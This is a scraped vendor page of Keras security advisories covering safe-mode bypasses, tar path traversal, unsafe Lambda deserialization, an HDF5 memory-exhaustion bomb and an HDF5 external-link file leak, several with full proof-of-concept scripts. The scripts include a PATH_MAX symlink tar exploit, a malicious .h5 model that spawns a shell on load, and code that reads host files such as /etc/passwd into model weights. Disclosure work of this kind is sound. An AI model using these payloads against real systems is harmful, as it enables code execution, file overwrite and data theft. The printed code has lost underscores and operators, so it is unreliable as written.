-Infinity
0

Vendor Risk Score

See how keras compares to other vendors in security performance

View Risk Score →
Severity
9.8
EPSS
0.04%
Code Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A arbitrary code injection vulnerability in TensorFlow's Keras framework (<2.13) allows attackers to execute arbitrary code with the same permissions as the application using a model that allow arbitrary code irrespective of the application.

First published (updated )
Severity
9.8
Code Injection
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-48g7-3x6r-xfhp. This link is maintained to preserve external references.

Original Description

The Keras Model.loadmodel function permits arbitrary code execution, even with safemode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading.

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Deserialization of untrusted data can occur in versions of the Keras framework running versions 3.11.0 up to but not including 3.11.3, enabling a maliciously uploaded Keras file containing a TorchModuleWrapper class to run arbitrary code on an end user’s system when loaded despite safe mode being enabled. The vulnerability can be triggered through both local and remote files.

First published (updated )
Severity
9.8
Path Traversal, Code Injection
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Keras's keras.utils.getfile() function is vulnerable to directory traversal attacks despite implementing filtersafepaths(). The vulnerability exists because extractarchive() uses Python's tarfile.extractall() method without the security-critical filter="data" parameter. A PATHMAX symlink resolution bug occurs before path filtering, allowing malicious tar archives to bypass security checks and write files outside the intended extraction directory.

Details

Root Cause Analysis

Current Keras Implementation python From keras/src/utils/fileutils.py#L121 if zipfile.iszipfile(filepath): # Zip archive. archive.extractall(path) else: # Tar archive, perhaps unsafe. Filter paths. archive.extractall(path, members=filtersafepaths(archive))

The Critical Flaw

While Keras attempts to filter unsafe paths using filtersafepaths(), this filtering happens after the tar archive members are parsed and before actual extraction. However, the PATHMAX symlink resolution bug occurs during extraction, not during member enumeration.

Exploitation Flow: 1. Archive parsing: filtersafepaths() sees symlink paths that appear safe 2. Extraction begins: extractall() processes the filtered members 3. PATHMAX bug triggers: Symlink resolution fails due to path length limits 4. Security bypass: Failed resolution causes literal path interpretation 5. Directory traversal: Files written outside intended directory

Technical Details

The vulnerability exploits a known issue in Python's tarfile module where excessively long symlink paths can cause resolution failures, leading to the symlink being treated as a literal path. This bypasses Keras's path filtering because:

- filtersafepaths() operates on the parsed tar member information - The PATHMAX bug occurs during actual file system operations in extractall() - Failed symlink resolution falls back to literal path interpretation - This allows traversal paths like ../../../../etc/passwd to be written

Affected Code Location

File: keras/src/utils/fileutils.py Function: extractarchive() around line 121 Issue: Missing filter="data" parameter in tarfile.extractall()

Proof of Concept #!/usr/bin/env python3 import os, io, sys, tarfile, pathlib, platform, threading, time import http.server, socketserver

Import Keras directly (not through TensorFlow) try: import keras print("Using standalone Keras:", keras.version) getfile = keras.utils.getfile except ImportError: try: import tensorflow as tf print("Using Keras via TensorFlow:", tf.keras.version) getfile = tf.keras.utils.getfile except ImportError: print("Neither Keras nor TensorFlow found!") sys.exit(1)

print("=" 60) print("Keras getfile() PATHMAX Symlink Vulnerability PoC") print("=" 60) print("Python:", sys.version.split()[0]) print("Platform:", platform.platform())

root = pathlib.Path.cwd() print(f"Working directory: {root}")

Create target directory for exploit demonstration exploitdir = root / "exploit" exploitdir.mkdir(existok=True)

Clean up any previous exploit files try: (exploitdir / "keraspwned.txt").unlink() except FileNotFoundError: pass

print(f"\n=== INITIAL STATE ===") print(f"Exploit directory: {exploitdir}") print(f"Files in exploit/: {[f.name for f in exploitdir.iterdir()]}")

Create malicious tar with PATHMAX symlink resolution bug print(f"\n=== Building PATHMAX Symlink Exploit ===")

Parameters for PATHMAX exploitation comp = 'd' (55 if sys.platform == 'darwin' else 247) steps = "abcdefghijklmnop" # 16-step symlink chain path = ""

with tarfile.open("kerasdataset.tgz", mode="w:gz") as tar: print("Creating deep symlink chain...") # Build the symlink chain that will exceed PATHMAX during resolution for i, step in enumerate(steps): # Directory with long name dirinfo = tarfile.TarInfo(os.path.join(path, comp)) dirinfo.type = tarfile.DIRTYPE tar.addfile(dirinfo) # Symlink pointing to that directory linkinfo = tarfile.TarInfo(os.path.join(path, step)) linkinfo.type = tarfile.SYMTYPE linkinfo.linkname = comp tar.addfile(linkinfo) path = os.path.join(path, comp) if i < 3 or i % 4 == 0: # Print progress for first few and every 4th print(f" Step {i+1}: {step} -> {comp[:20]}...") # Create the final symlink that exceeds PATHMAX # This is where the symlink resolution breaks down longname = "x" 254 linkpath = os.path.join("/".join(steps), longname) maxlink = tarfile.TarInfo(linkpath) maxlink.type = tarfile.SYMTYPE maxlink.linkname = ("../" len(steps)) tar.addfile(maxlink) print(f"✓ Created PATHMAX symlink: {len(linkpath)} characters") print(f" Points to: {'../' len(steps)}") # Exploit file through the broken symlink resolution exploitpath = linkpath + "/../../../exploit/keraspwned.txt" exploitcontent = b"KERAS VULNERABILITY CONFIRMED!\nThis file was created outside the cache directory!\nKeras getfile() is vulnerable to PATHMAX symlink attacks!\n" exploitfile = tarfile.TarInfo(exploitpath) exploitfile.type = tarfile.REGTYPE exploitfile.size = len(exploitcontent) tar.addfile(exploitfile, fileobj=io.BytesIO(exploitcontent)) print(f"✓ Added exploit file via broken symlink path") # Add legitimate dataset content datasetcontent = b"# Keras Dataset Sample\nThis appears to be a legitimate ML dataset\nimage1.jpg,cat\nimage2.jpg,dog\nimage3.jpg,bird\n" datasetfile = tarfile.TarInfo("dataset/labels.csv") datasetfile.type = tarfile.REGTYPE datasetfile.size = len(datasetcontent) tar.addfile(datasetfile, fileobj=io.BytesIO(datasetcontent)) # Dataset directory datasetdir = tarfile.TarInfo("dataset/") datasetdir.type = tarfile.DIRTYPE tar.addfile(datasetdir)

print("✓ Malicious Keras dataset created")

Comparison Test: Python tarfile with filter (SAFE) print(f"\n=== COMPARISON: Python tarfile with data filter ===") try: with tarfile.open("kerasdataset.tgz", "r:gz") as tar: tar.extractall("pythonsafe", filter="data") filesafter = [f.name for f in exploitdir.iterdir()] print(f"✓ Python safe extraction completed") print(f"Files in exploit/: {filesafter}") # Cleanup import shutil if pathlib.Path("pythonsafe").exists(): shutil.rmtree("pythonsafe", ignoreerrors=True) except Exception as e: print(f"❌ Python safe extraction blocked: {str(e)[:80]}...") filesafter = [f.name for f in exploitdir.iterdir()] print(f"Files in exploit/: {filesafter}")

Start HTTP server to serve malicious archive class SilentServer(http.server.SimpleHTTPRequestHandler): def logmessage(self, args): pass

def runserver(): with socketserver.TCPServer(("127.0.0.1", 8005), SilentServer) as httpd: httpd.allowreuseaddress = True httpd.serveforever()

server = threading.Thread(target=runserver, daemon=True) server.start() time.sleep(0.3)

Keras vulnerability test cachedir = root / "kerascache" cachedir.mkdir(existok=True) url = "http://127.0.0.1:8005/kerasdataset.tgz"

print(f"\n=== KERAS VULNERABILITY TEST ===") print(f"Testing: keras.utils.getfile() with extract=True") print(f"URL: {url}") print(f"Cache: {cachedir}") print(f"Expected extraction: kerascache/datasets/kerasdataset/") print(f"Exploit target: exploit/keraspwned.txt")

try: # The vulnerable Keras call extractedpath = getfile( "kerasdataset", url, cachedir=str(cachedir), extract=True ) print(f"✓ Keras extraction completed") print(f"✓ Returned path: {extractedpath}") except Exception as e: print(f"❌ Keras extraction failed: {e}") import traceback traceback.printexc()

Vulnerability assessment print(f"\n=== VULNERABILITY RESULTS ===") finalexploitfiles = [f.name for f in exploitdir.iterdir()] print(f"Files in exploit directory: {finalexploitfiles}")

if "keraspwned.txt" in finalexploitfiles: print(f"\n🚨 KERAS VULNERABILITY CONFIRMED! 🚨") exploitfile = exploitdir / "keraspwned.txt" content = exploitfile.readtext() print(f"Exploit file created: {exploitfile}") print(f"Content:\n{content}") print(f"🔍 TECHNICAL DETAILS:") print(f" • Keras uses tarfile.extractall() without filter parameter") print(f" • PATHMAX symlink resolution bug bypassed security checks") print(f" • File created outside intended cache directory") print(f" • Same vulnerability pattern as TensorFlow getfile()") print(f"\n📊 COMPARISON RESULTS:") print(f" ✅ Python with filter='data': BLOCKED exploit") print(f" ⚠️ Keras getfile(): ALLOWED exploit") else: print(f"✅ No exploit files detected") print(f"Possible reasons:") print(f" • Keras version includes security patches") print(f" • Platform-specific path handling prevented exploit") print(f" • Archive extraction path differed from expected")

Show what Keras actually extracted (safely) print(f"\n=== KERAS EXTRACTION ANALYSIS ===") try: if 'extractedpath' in locals() and pathlib.Path(extractedpath).exists(): keraspath = pathlib.Path(extractedpath) print(f"Keras extracted to: {keraspath}") # Safely list contents try: contents = [item.name for item in keraspath.iterdir()] print(f"Top-level contents: {contents}") # Count symlinks (indicates our exploit structure was created) symlinkcount = 0 for item in keraspath.iterdir(): try: if item.issymlink(): symlinkcount += 1 except PermissionError: continue print(f"Symlinks created: {symlinkcount}") if symlinkcount > 0: print(f"✓ PATHMAX symlink chain was extracted") except PermissionError: print(f"Permission errors in extraction directory (expected with symlink corruption)") except Exception as e: print(f"Could not analyze Keras extraction: {e}")

print(f"\n=== REMEDIATION ===") print(f"To fix this vulnerability, Keras should use:") print(f"python") print(f"tarfile.extractall(path, filter='data') # Safe") print(f"") print(f"Instead of:") print(f"python") print(f"tarfile.extractall(path) # Vulnerable") print(f"")

Cleanup print(f"\n=== CLEANUP ===") try: os.unlink("kerasdataset.tgz") print(f"✓ Removed malicious tar file") except: pass

print("PoC completed!")

Environment Setup - Python: 3.8+ (tested on multiple versions) - Keras: Standalone Keras or TensorFlow.Keras - Platform: Linux, macOS, Windows (path handling varies)

Exploitation Steps

1. Create malicious tar archive with PATHMAX symlink chain 2. Host archive on accessible HTTP server 3. Call keras.utils.getfile() with extract=True 4. Observe directory traversal - files written outside cache directory

Key Exploit Components

- Deep symlink chain: 16+ nested symlinks with long directory names - PATHMAX overflow: Final symlink path exceeding system limits - Traversal payload: Relative path traversal (../../../target/file) - Legitimate disguise: Archive contains valid-looking dataset files

Demonstration Results

Vulnerable behavior: - Files extracted outside intended cachedir/datasets/ location - Security filtering bypassed completely - No error or warning messages generated

Expected secure behavior: - Extraction blocked or confined to cache directory - Security warnings for suspicious archive contents

Impact

Vulnerability Classification - Type: Directory Traversal / Path Traversal (CWE-22) - Severity: High - CVSS Components: Network accessible, no authentication required, impacts confidentiality and integrity

Who Is Impacted

Direct Impact: - Applications using keras.utils.getfile() with extract=True - Machine learning pipelines downloading and extracting datasets - Automated ML training systems processing external archives

Attack Scenarios: 1. Malicious datasets: Attacker hosts compromised ML dataset 2. Supply chain: Legitimate dataset repositories compromised 3. Model poisoning: Extraction writes malicious files alongside training data 4. System compromise: Configuration files, executables written to system directories

Affected Environments: - Research environments downloading public datasets - Production ML systems with automated dataset fetching - Educational platforms using Keras for tutorials - CI/CD pipelines training models with external data

Risk Assessment

High Risk Factors: - Common usage pattern in ML workflows - No user awareness of extraction security - Silent failure mode (no warnings) - Cross-platform vulnerability

Potential Consequences: - Arbitrary file write on target system - Configuration file tampering - Code injection via overwritten scripts - Data exfiltration through planted files - System compromise in containerized environments

Recommended Fix

Immediate Mitigation

Replace the vulnerable extraction code with:

python Secure implementation if zipfile.iszipfile(filepath): # Zip archive - implement similar filtering archive.extractall(path, members=filtersafepaths(archive)) else: # Tar archive with proper security filter archive.extractall(path, members=filtersafepaths(archive), filter="data")

Long-term Solution

1. Add filter="data" parameter to all tarfile.extractall() calls 2. Implement comprehensive path validation before extraction 3. Add extraction logging for security monitoring 4. Consider sandboxed extraction for untrusted archives 5. Update documentation to warn about archive security risks

Backward Compatibility

The fix maintains full backward compatibility as filter="data" is the recommended secure default for Python 3.12+.

References

- [Python tarfile security documentation](https://docs.python.org/3/library/tarfile.html#extraction-filters) - [CVE-2007-4559](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4559) - Related tarfile vulnerability - [OWASP Path Traversal](https://owasp.org/www-community/attacks/PathTraversal)

Note: Reported in Huntr as well, but didn't get response https://huntr.com/bounties/f94f5beb-54d8-4e6a-8bac-86d9aee103f4

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

A vulnerability in keras-team/keras version 3.14.0 allows for arbitrary code execution due to improper handling of deserialization in the Lambda layer. Specifically, the raiseforlambdadeserialization() function fails to enforce the safe-mode guard when safemode is set to None, which is the default value when fromconfig() is called outside of a SafeModeScope context. This logic error conflates None (unset/default-deny) with False (explicitly disabled), bypassing the guard and allowing attacker-controlled marshal bytecode to be deserialized. Affected call sites include keras.layers.deserialize(config), keras.models.clonemodel(model), and any direct invocation of Lambda.fromconfig(config) without an enclosing SafeModeScope(True). This vulnerability can be exploited to achieve arbitrary OS-level code execution in the context of the server or user process.

First published (updated )
Severity
8.8
EPSS
0.01%
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-c9rc-mg46-23w3. This link is maintained to preserve external references.

Original Description A safe mode bypass vulnerability in the Model.loadmodel method in Keras versions 3.0.0 through 3.10.0 allows an attacker to achieve arbitrary code execution by convincing a user to load a specially crafted .keras model archive.

1 / 4
Source: GitHub

Remedy

Upgrade to a version of Keras with the fix implemented (version 3.11.0 or newer).
First published (updated )
Severity
8.6
EPSS
0.08%
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:X/U:X

Arbitrary Code Execution in Keras

Keras versions prior to 3.11.0 allow for arbitrary code execution when loading a crafted .keras model archive, even when safemode=True.

The issue arises because the archive’s config.json is parsed before layer deserialization. This can invoke keras.config.enableunsafedeserialization(), effectively disabling safe mode from within the loading process itself. An attacker can place this call first in the archive and then include a Lambda layer whose function is deserialized from a pickle, leading to the execution of attacker-controlled Python code as soon as a victim loads the model file.

Exploitation requires a user to open an untrusted model; no additional privileges are needed. The fix in version 3.11.0 enforces safe-mode semantics before reading any user-controlled configuration and prevents the toggling of unsafe deserialization via the config file.

Affected versions: < 3.11.0 Patched version: 3.11.0

It is recommended to upgrade to version 3.11.0 or later and to avoid opening untrusted model files.

1 / 3
Source: GitHub
First published (updated )
Severity
8.1
Path Traversal
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Keras versions prior to 3.14.0 are vulnerable to a path traversal issue in the archive extraction utilities located in keras/src/utils/fileutils.py. The functions filtersafetarinfos() and filtersafezipinfos() validate archive member paths against the process current working directory (CWD) instead of the actual extraction destination. When the process runs with CWD set to /, which is common in Docker containers, CI/CD runners, and Jupyter environments, the validation boundary becomes the filesystem root, allowing traversal paths to bypass the security check. Additionally, the zip filter contains a bug that causes an AttributeError when a blocked entry is encountered, leading to incomplete extraction. Furthermore, Python 3.11 installations lack the filter="data" safety net, leaving them entirely reliant on the flawed CWD-based filter. Exploitation of this vulnerability can result in arbitrary file writes outside the intended extraction directory, enabling attackers to overwrite configuration files, inject malicious code, or corrupt machine learning datasets and pipelines.

First published (updated )
Severity
8
Path Traversal
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-hjqc-jx6g-rwp9. This link is maintained to preserve external references.

Original Description Keras version 3.11.3 is affected by a path traversal vulnerability in the keras.utils.getfile() function when extracting tar archives. The vulnerability arises because the function uses Python's tarfile.extractall() method without the security-critical filter='data' parameter. Although Keras attempts to filter unsafe paths using filtersafepaths(), this filtering occurs before extraction, and a PATHMAX symlink resolution bug triggers during extraction. This bug causes symlink resolution to fail due to path length limits, resulting in a security bypass that allows files to be written outside the intended extraction directory. This can lead to arbitrary file writes outside the cache directory, enabling potential system compromise or malicious code execution. The vulnerability affects Keras installations that process tar archives with getfile() and does not affect versions where this extraction method is secured with the appropriate filter parameter.

1 / 3
Source: GitHub
First published (updated )
Severity
7.8
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

A vulnerability in the TFSMLayer class of the keras package, version 3.13.0, allows attacker-controlled TensorFlow SavedModels to be loaded during deserialization of .keras models, even when safemode=True. This bypasses the security guarantees of safemode and enables arbitrary attacker-controlled code execution during model inference under the victim's privileges. The issue arises due to the unconditional loading of external SavedModels, serialization of attacker-controlled file paths, and the lack of validation in the fromconfig() method.

First published (updated )
Severity
7.3
EPSS
0.01%
CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Note: This report has already been discussed with the Google OSS VRP team, who recommended that I reach out directly to the Keras team. I’ve chosen to do so privately rather than opening a public issue, due to the potential security implications. I also attempted to use the email address listed in your SECURITY.md, but received no response.

---

Summary

When a model in the .h5 (or .hdf5) format is loaded using the Keras Model.loadmodel method, the safemode=True setting is silently ignored without any warning or error. This allows an attacker to execute arbitrary code on the victim’s machine with the same privileges as the Keras application. This report is specific to the .h5/.hdf5 file format. The attack works regardless of the other parameters passed to loadmodel and does not require any sophisticated technique—.h5 and .hdf5 files are simply not checked for unsafe code execution.

From this point on, I will refer only to the .h5 file format, though everything equally applies to .hdf5.

Details

Intended behaviour According to the official Keras documentation, safemode is defined as:

safemode: Boolean, whether to disallow unsafe lambda deserialization. When safemode=False, loading an object has the potential to trigger arbitrary code execution. This argument is only applicable to the Keras v3 model format. Defaults to True. I understand that the behavior described in this report is somehow intentional, as safemode is only applicable to .keras models.

However, in practice, this behavior is misleading for users who are unaware of the internal Keras implementation. .h5 files can still be loaded seamlessly using loadmodel with safemode=True, and the absence of any warning or error creates a false sense of security. Whether intended or not, I believe silently ignoring a security-related parameter is not the best possible design decision. At a minimum, if safemode cannot be applied to a given file format, an explicit error should be raised to alert the user.

This issue is particularly critical given the widespread use of the .h5 format, despite the introduction of newer formats.

As a small anecdotal test, I asked several of my colleagues what they would expect when loading a .h5 file with safemode=True. None of them expected the setting to be silently ignored, even after reading the documentation. While this is a small sample, all of these colleagues are cybersecurity researchers—experts in binary or ML security—and regular participants in DEF CON finals. I was careful not to give any hints about the vulnerability in our discussion.

Technical Details

Examining the implementation of loadmodel in keras/src/saving/savingapi.py, we can see that the safemode parameter is completely ignored when loading .h5 files. Here's the relevant snippet:

python def loadmodel(filepath, customobjects=None, compile=True, safemode=True): iskeraszip = ... iskerasdir = ... ishf = ...

# Support for remote zip files if ( fileutils.isremotepath(filepath) and not fileutils.isdir(filepath) and not iskeraszip and not ishf ): ...

if iskeraszip or iskerasdir or ishf: ...

if str(filepath).endswith((".h5", ".hdf5")): return legacyh5format.loadmodelfromhdf5( filepath, customobjects=customobjects, compile=compile )

As shown, when the file format is .h5 or .hdf5, the method delegates to legacyh5format.loadmodelfromhdf5, which does not use or check the safemode parameter at all.

Solution

Since the release of the new .keras format, I believe the simplest and most effective way to address this misleading behavior—and to improve security in Keras—is to have the safemode parameter raise an explicit error when safemode=True is used with .h5/.hdf5 files. This error should be clear and informative, explaining that the legacy format does not support safemode and outlining the associated risks of loading such files.

I recognize this fix may have minor backward compatibility considerations.

If you confirm that you're open to this approach, I’d be happy to open a PR that includes the missing check.

PoC

From the attacker’s perspective, creating a malicious .h5 model is as simple as the following:

python import keras

f = lambda x: ( exec("import os; os.system('sh')"), x, )

model = keras.Sequential() model.add(keras.layers.Input(shape=(1,))) model.add(keras.layers.Lambda(f)) model.compile()

keras.saving.savemodel(model, "./provola.h5")

From the victim’s side, triggering code execution is just as simple:

python import keras

model = keras.models.loadmodel("./provola.h5", safemode=True)

That’s all. The exploit occurs during model loading, with no further interaction required. The parameters passed to the method do not mitigate of influence the attack in any way.

As expected, the attacker can substitute the exec(...) call with any payload. Whatever command is used will execute with the same permissions as the Keras application.

Attack scenario

The attacker may distribute a malicious .h5/.hdf5 model on platforms such as Hugging Face, or act as a malicious node in a federated learning environment. The victim only needs to load the model—even with safemode=True that would give the illusion of security. No inference or further action is required, making the threat particularly stealthy and dangerous.

Once the model is loaded, the attacker gains the ability to execute arbitrary code on the victim’s machine with the same privileges as the Keras process. The provided proof-of-concept demonstrates a simple shell spawn, but any payload could be delivered this way.

1 / 3
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.13%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Keras’s model loader (KerasFileEditor) unsafely loads user-supplied .keras model files containing HDF5-based weight files without performing any validation on HDF5 dataset metadata. An attacker can craft a .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape (e.g. (50000000, 50000000)), but stores only a few bytes. The .keras file remains small (100–400 KB) because HDF5 with gzip compression stores minimal data. During model loading, Keras executes: python result[key] = value[()] # loads entire dataset into memory value[()] instructs h5py to allocate RAM proportional to the dataset’s declared shape – in this case 8.88 PiB of memory. This results in: Immediate memory exhaustion Python / TensorFlow crashes Jupyter kernel kill System instability Full Denial of Service on any workload that processes untrusted .keras models This allows an attacker to crash any environment or pipeline that loads .keras models, including MLOps backends, training services, model upload endpoints, or automated pipelines. Proof of Concept // PoC.py import zipfile import io import h5py import numpy as np from keras.saving import KerasFileEditor

Create a malicious .keras model containing a massive HDF5 shape bomb def createmaliciouskeras(path="bomb.keras"): hdf5bytes = io.BytesIO()

# Create an HDF5 file with a huge declared dataset shape with h5py.File(hdf5bytes, "w") as f: d = f.createdataset( "payload", shape=(50000000, 50000000), # Extremely large shape → petabytes on load dtype="float32", compression="gzip", compressionopts=9 ) # Write minimal data so the file stays very small d[0:1, 0:1] = np.zeros((1, 1), dtype=np.float32)

hdf5bytes.seek(0)

# Build a valid .keras archive structure with zipfile.ZipFile(path, "w", zipfile.ZIPDEFLATED) as z: z.writestr("config.json", "{}") z.writestr("metadata.json", "{}") z.writestr("model.weights.h5", hdf5bytes.getvalue())

Generate the malicious model file createmaliciouskeras()

Trigger the DoS vulnerability when Keras loads the malicious file KerasFileEditor("bomb.keras") Expected Result numpy.core.exceptions.ArrayMemoryError: Unable to allocate 8.88 PiB for an array with shape (50000000, 50000000) This crash occurs before any actual model processing, confirming the Denial-of-Service impact. Impact This vulnerability allows an attacker to crash any system that loads a malicious .keras model file.

The attacker can:

- Cause immediate memory exhaustion (8+ PiB allocation attempts) - Crash TensorFlow / Python interpreter - Kill Jupyter kernels - Break automated model-upload pipelines - Crash MLOps servers that process user models - Deny service to shared GPU/CPU environments

If a platform allows user-uploaded Keras models (training services, inference endpoints, AutoML tools, Kaggle-style platforms), this becomes a Remote Denial of Service vector. Additional PoC Evidence (Video Demonstration) Attached is a real-world proof-of-concept video demonstrating the crash and memory exhaustion when loading the malicious .keras model.

PoC Video (Google Drive): PoC Video

Finding: Critical memory-exhaustion flaw triggered by crafted .keras model files Vector: Malicious metadata causing extreme tensor shape inflation Impact: A 31 KB model forces an 8.88 PiB allocation attempt, immediately killing the process Attack Scenario: Remote DoS on ML model processing pipelines and cloud inference services

Demonstration: The PoC video shows the crash occurring on Google Colab. Loading the malicious model consumed all system RAM and repeatedly terminated the runtime. Severity is high enough that the compute quota dropped from 83 hours → 4 hours after only a few tests. With larger payloads, this would instantly exhaust resources in real production pipelines.

1 / 3
Source: GitHub
First published (updated )
Severity
7.1
Infoleak
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

TensorFlow / Keras continues to honor HDF5 “external storage” and ExternalLink features when loading weights. A malicious .weights.h5 (or a .keras archive embedding such weights) can direct loadweights() to read from an arbitrary readable filesystem path. The bytes pulled from that path populate model tensors and become observable through inference or subsequent re-save operations. Keras “safe mode” only guards object deserialization and does not cover weight I/O, so this behaviour persists even with safe mode enabled. The issue is confirmed on the latest publicly released stack (tensorflow 2.20.0, keras 3.11.3, h5py 3.15.1, numpy 2.3.4).

Impact

- Class: CWE-200 (Exposure of Sensitive Information), CWE-73 (External Control of File Name or Path) - What leaks: Contents of any readable file on the host (e.g., /etc/hosts, /etc/passwd, /etc/hostname). - Visibility: Secrets appear in model outputs (e.g., Dense layer bias) or get embedded into newly saved artifacts. - Prerequisites: Victim executes model.loadweights() or tf.keras.models.loadmodel() on an attacker-supplied HDF5 weights file or .keras archive. - Scope: Applies to modern Keras (3.x) and TensorFlow 2.x lines; legacy HDF5 paths remain susceptible.

Attacker Scenario

1. Initial foothold: The attacker convinces a user (or CI automation) to consume a weight artifact—perhaps by publishing a pre-trained model, contributing to an open-source repository, or attaching weights to a bug report. 2. Crafted payload: The artifact bundles innocuous model metadata but rewrites one or more datasets to use HDF5 external storage or external links pointing at sensitive files on the victim host (e.g., /home/<user>/.ssh/idrsa, /etc/shadow if readable, configuration files containing API keys, etc.). 3. Execution: The victim calls model.loadweights() (or tf.keras.models.loadmodel() for .keras archives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors. 4. Exfiltration vectors: - Running inference on controlled inputs (e.g., zero vectors) yields outputs equal to the injected weights; the attacker or downstream consumer can read the leaked data. - Re-saving the model (weights or .keras archive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry. - If the victim pushes the re-saved artifact to source control or a package repository, the attacker retrieves the captured data without needing continued access to the victim environment.

Additional Preconditions

- The target file must exist and be readable by the process running TensorFlow/Keras. - Safe mode (loadmodel(..., safemode=True)) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization. - Environments with strict filesystem permissioning or sandboxing (e.g., container runtime blocking access to /etc/hostname) can reduce impact, but common defaults expose a broad set of host files.

Environment Used for Verification (2025‑10‑19)

- OS: Debian-based container running Python 3.11. - Packages (installed via python -m pip install -U ...): - tensorflow==2.20.0 - keras==3.11.3 - h5py==3.15.1 - numpy==2.3.4 - Tooling: strace (for syscall tracing), pip upgraded to latest before installs. - Debug flags: PYTHONFAULTHANDLER=1, TFCPPMINLOGLEVEL=0 during instrumentation to capture verbose logs if needed.

Reproduction Instructions (Weights-Only PoC)

1. Ensure the environment above (or equivalent) is prepared. 2. Save the following script as weightsexternaldemo.py:

python from future import annotations import os from pathlib import Path import numpy as np import tensorflow as tf import h5py

def choosehostfile() -> Path: candidates = [ os.environ.get("KFLIPATH"), "/etc/machine-id", "/etc/hostname", "/proc/sys/kernel/hostname", "/etc/passwd", ] for candidate in candidates: if not candidate: continue path = Path(candidate) if path.exists() and path.isfile(): return path raise FileNotFoundError("set KFLIPATH to a readable file")

def buildmodel(units: int) -> tf.keras.Model: model = tf.keras.Sequential([ tf.keras.layers.Input(shape=(1,), name="input"), tf.keras.layers.Dense(units, activation=None, usebias=True, name="dense"), ]) model(tf.zeros((1, 1))) # build weights return model

def findbiasdataset(h5file: h5py.File) -> str: matches: list[str] = [] def visit(name: str, obj) -> None: if isinstance(obj, h5py.Dataset) and name.endswith("bias:0"): matches.append(name) h5file.visititems(visit) if not matches: raise RuntimeError("bias dataset not found") return matches[0]

def rewritebiasexternal(path: Path, hostfile: Path) -> tuple[int, int]: with h5py.File(path, "r+") as h5file: biaspath = findbiasdataset(h5file) parent = h5file[str(Path(biaspath).parent)] dsetname = Path(biaspath).name del parent[dsetname] maxbytes = 128 size = hostfile.stat().stsize nbytes = min(size, maxbytes) nbytes = (nbytes // 4) 4 or 32 # multiple of 4 for float32 packing units = max(1, nbytes // 4) parent.createdataset( dsetname, shape=(units,), dtype="float32", external=[(hostfile.asposix(), 0, nbytes)], ) return units, nbytes

def floatstoascii(arr: np.ndarray) -> tuple[str, str]: raw = np.ascontiguousarray(arr).view(np.uint8) asciipreview = bytes(b if 32 <= b < 127 else 46 for b in raw).decode("ascii", "ignore") hexpreview = raw[:64].tobytes().hex() return asciipreview, hexpreview

def main() -> None: hostfile = choosehostfile() model = buildmodel(units=32)

weightspath = Path("weightsdemo.h5") model.saveweights(weightspath.asposix())

units, nbytes = rewritebiasexternal(weightspath, hostfile) print("secrettextsource", hostfile) print("units", units, "bytesmapped", nbytes)

model.loadweights(weightspath.asposix()) output = model.predict(tf.zeros((1, 1)), verbose=0)[0] asciipreview, hexpreview = floatstoascii(output) print("recoveredascii", asciipreview) print("recoveredhex64", hexpreview)

saved = Path("weightsdemoresaved.h5") model.saveweights(saved.asposix()) print("resavedweights", saved.asposix())

if name == "main": main()

